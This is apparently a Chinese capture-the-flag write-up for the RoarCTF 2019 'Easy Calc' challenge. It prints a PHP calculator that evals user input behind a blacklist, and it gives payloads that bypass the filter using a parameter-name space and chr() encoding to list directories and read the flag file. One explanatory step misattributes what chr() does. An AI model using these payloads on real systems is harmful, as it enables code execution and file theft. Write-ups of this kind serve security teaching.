当前位置: 首页 > article >正文

[RoarCTF 2019]Easy Calc 1

[RoarCTF 2019]Easy Calc 1

审题

image-20240303211144278

题目就是一个计算器。

看到源代码有 calc.php

进入看到waf的源代码

知识点

RCE

解题

  1. 审核代码

    <?php
    error_reporting(0);
    if(!isset($_GET['num'])){
        show_source(__FILE__);
    }else{
            $str = $_GET['num'];
            $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
            foreach ($blacklist as $blackitem) {
                    if (preg_match('/' . $blackitem . '/m', $str)) {
                            die("what are you want to do?");
                    }
            }
            eval('echo '.$str.';');
    }
    ?> 
    
  2. 由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。

  3. 由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

  4. 构造。

    ? num=var_dump(scandir(chr(47)))
    

    scandair可以列出指定路径中的文件目录。

  5. 构造

    ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    

    得到flag


http://www.kler.cn/a/377391.html

相关文章:

  • “单元测试”应该怎么写比较好
  • 柯桥零基础学日语日语培训中为什么不说「ご客様」而是「お客様」?
  • RabbitMQ交换机类型
  • 【数据分享】1901-2023年我国省市县镇四级的逐年最高气温数据(免费获取/Shp/Excel格式)
  • Axure大屏可视化模板:赋能各行各业的数据展示与管理
  • 2024年9月电子学会青少年软件编程Python等级考试(四级)真题试卷
  • 蓝桥杯介绍
  • GaussDB Ustore存储引擎解读
  • 基于卷积神经网络的柑桔病害识别与防治系统,resnet50,mobilenet模型【pytorch框架+python源码】
  • Qt/C++地图动态绘制折线多边形矩形圆形标注点/可编辑拖动调整大小和位置
  • 【复盘笔记】25国考一期_套题5
  • 5G无线帧基本架构
  • Chromium 中监听browser 添加/删除等事件c++
  • Pnetlab免登录方式
  • 「Mac畅玩鸿蒙与硬件15」鸿蒙UI组件篇5 - Slider 和 Progress 组件
  • 基于BP神经网络的手写体数字图像识别
  • 【MacOS实操】如何基于SSH连接远程linux服务器
  • 【路径——Dijkstra】
  • Decision Tree Regressor (决策树) --- 论文实战
  • Apache Calcite - 查询优化之自定义优化规则
  • 用Python设置、更新和获取Excel单元格的值
  • 智能医疗文档处理:开源OCR系统解析
  • 使用 PyCharm 构建 FastAPI 项目:零基础入门 Web API 开发
  • DDR Study - LPDDR4 TTR/PPR/ECC/PASR/DBI
  • 极简实现酷炫动效:Flutter隐式动画指南第三篇自定义Flutter隐式动画
  • ADRV9009 跳频时间测试